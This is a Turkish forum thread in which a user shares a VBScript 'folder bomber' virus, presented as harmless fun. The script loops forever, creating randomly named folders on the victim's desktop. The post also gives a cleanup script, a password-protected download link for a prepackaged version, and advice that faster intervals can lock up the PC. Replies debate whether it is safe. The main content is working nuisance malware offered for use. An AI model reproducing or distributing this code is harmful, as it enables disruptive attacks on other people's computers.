Masaüstü Klasör Virüsü (Eğlence Amaçlıdır)

[WaTcHFuL]

Bu zararlı bir paylaşım değildir.


Netten bulduğum ve üzerinde isim değişikliği yaptığım virüs kodunu vermek istiyorum.

Açıldığı makinada masa üstüne hiç durmadan sizin belirleyeceğiniz isimde klasörler açar.

Ben WaTcHFuL olarak değiştirdim. (Orjinali Balamir dir.)

Temizleme kodunuda aşağıda eriyorum. Kendiniz denemek istersiniz diye

Böylelikle dener ve dosyalardan hemen kurtulabilirsiniz.


Bunun tek farkı virüsün kontrolünün sizin elinizde olmasıdır.


Öncelikle alt tarafta verdiğim kodu txt dosyasına yapıştırıp farklı kaydet deyip FolderBomber.vbs olarak kaydediniz.

[FONT=System]'----------------FolderBomber.vbs---------------[/FONT]
[FONT=System] 'Made by WaTcHFuL[/FONT]
[FONT=System] 'web site http://hackhell.com[/FONT]
[FONT=System] Dim fso,sho,basfolder,bf[/FONT]
[FONT=System] Set fso = CreateObject( "Scripting.FileSystemObject" )[/FONT]
[FONT=System] Set sho = CreateObject( "Wscript.Shell" )[/FONT]
[FONT=System] basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder[/FONT]
[FONT=System] Set bf = fso.GetFolder( basefolder )[/FONT]
[FONT=System] do[/FONT]
[FONT=System] Randomize[/FONT]
[FONT=System] r=Int((99999*Rnd)+1)[/FONT]
[FONT=System] bf.subFolders.Add("WaTcHFuL_"&r) 'Create Folders with names begin with WaTcHFuL and a random Number in your desktop[/FONT]
[FONT=System] wscript.sleep 500 'Pause of 1 second and continue the loop[/FONT]
[FONT=System] loop[/FONT]

Buda temizleme kodu.

Bunuda txt dosyasına Cleaner.vbs olarak kaydedin.
Virüsü açtığınızda F5 yapınız.

Masaüstünüzde oluşturduğu bütün klasörleri silecektir.

Kendinizde çalıştırırsanız diye temizlemek amaçlı veriyorum.

[FONT=System]'----------------Cleaner.vbs---------------[/FONT][FONT=System]
'Made by WaTcHFuL[/FONT]
[FONT=System] 'web site http://hackhell.com[/FONT]
[FONT=System] Dim fso, f, f1, fc, ss[/FONT]
[FONT=System] Set fso = CreateObject("Scripting.FileSystemObject")[/FONT]
[FONT=System] Set sho = CreateObject( "Wscript.Shell" )[/FONT]
[FONT=System] basefolder=sho.SpecialFolders("desktop")[/FONT]
[FONT=System] Set f = fso.GetFolder( basefolder )[/FONT]
[FONT=System] Set fc = f.SubFolders[/FONT]
[FONT=System] NomFichierLog="Dossiers_Vides"[/FONT]
[FONT=System] temp = sho.ExpandEnvironmentStrings("%temp%")[/FONT]
[FONT=System] Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)[/FONT]

[FONT=System] count=0 'initialisation du compteur des Dossiers vides[/FONT]
[FONT=System] NBfichier=0 'initialisation du idesvompteur des fichiers[/FONT]
[FONT=System] ' Tuer le processus wscript[/FONT]
[FONT=System] sho.run "Taskkill /IM wscript.exe /F", 0[/FONT]
[FONT=System] 'Boucle pour la recherche des Dossiers vides [/FONT]
[FONT=System] For Each f1 in fc[/FONT]
[FONT=System] If f1.size = 0 Then[/FONT]
[FONT=System] count= count + 1[/FONT]
[FONT=System] OutPut.WriteLine f1.Path[/FONT]
[FONT=System] f1.delete[/FONT]
[FONT=System] End if[/FONT]
[FONT=System] Next[/FONT]
[FONT=System] 'Boucle pour la recherche des fichiers vides [/FONT]
[FONT=System] For Each Fichier in f.files[/FONT]
[FONT=System] if Fichier.size = 0 then[/FONT]
[FONT=System] NBfichier=NBfichier+1[/FONT]
[FONT=System] OutPut.WriteLine Fichier.Path[/FONT]
[FONT=System] Fichier.delete[/FONT]
[FONT=System] end if[/FONT]
[FONT=System] next[/FONT]
[FONT=System] Msgbox count& " Dosya Temizlendi",64,"WaTcHFuL Virüs Temizleme"[/FONT]
[FONT=System] Msgbox NBfichier& " Virüslü Dosya Kaldı",64,"WaTcHFuL Virüs Temizleme"[/FONT]

wscript.sleep 500 'Pause of 1 değerleriyle oynayarak
klasörlerin daha hızlı veya daha yavaş açılmasını sağlayabilirsiniz.

Yalnız 500'den aşağı değer girmemeniz tavsiye edilir.

Aksi takdirde pc kilitlenebilir.
​

İsterseniz hazırlanmış olanı indirebilirsiniz.

[B]http://rapidshare.com/files/352824714/Klasor_WaTcHFuL.rar[/B]

Rar Password: [email protected]
​

 

[deha48]

gerçekten virüs yapmayalım

 

[WaTcHFuL]

gerçekten virüs yapmayalım

Gönlün ferah olsun

 

[Tg#S.w.a.t]

yok ben almıyım xD

 

[harbikiz]

deneyelim nasılmış bakalım..........

 

[bloodyhunt]

Millet pc sini korumaya çalışıyor birde virüsmü atmayı deniyecek

 

[vefaliriza]

bi de online taratma resmi koysaydın tam olacaktı kesinlikle virüssüz diye

 

[WaTcHFuL]

bi de online taratma resmi koysaydın tam olacaktı kesinlikle virüssüz diye

Online değilde taramayı gösterebilirim

 

[corumluser]

ya bu rnd ile haızrlanmış rasgele dosya oluşturuyor...biz bunu q*-basic ve c++ de yapıoduk.süper eğlenceli şeyler çıkıyor.teşekkürler

 

[WaTcHFuL]

 

[icemen]

Ben sana güveniyorum abi. indiriyim ama eve gidince evdeki pc de deniyim )

 

[vefaliriza]

koymuş valla tamam tamam virüssüzmüş inandım.:durdurun:durdurun:durdurun